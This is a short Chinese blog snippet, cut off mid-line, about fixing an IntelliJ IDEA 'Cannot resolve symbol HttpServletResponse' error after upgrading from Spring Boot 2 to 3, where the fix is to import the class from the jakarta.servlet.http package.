IDEA 报 Cannot resolve symbol ‘HttpServletResponse‘ 解决

springboot2版本换成springboot3之后&#xff0c;代码这里突然报红了&#xff0c; 首先要淡定&#xff0c;把原先Import的引入删掉&#xff0c;重新引入试试呢&#xff0c;是不是很简单哈哈。 原来&#xff0c;springboot3的路径是&#xff1a; import jakarta.servlet.http…
阅读更多...
推荐文章
最新文章

Copyright @ 2022~2023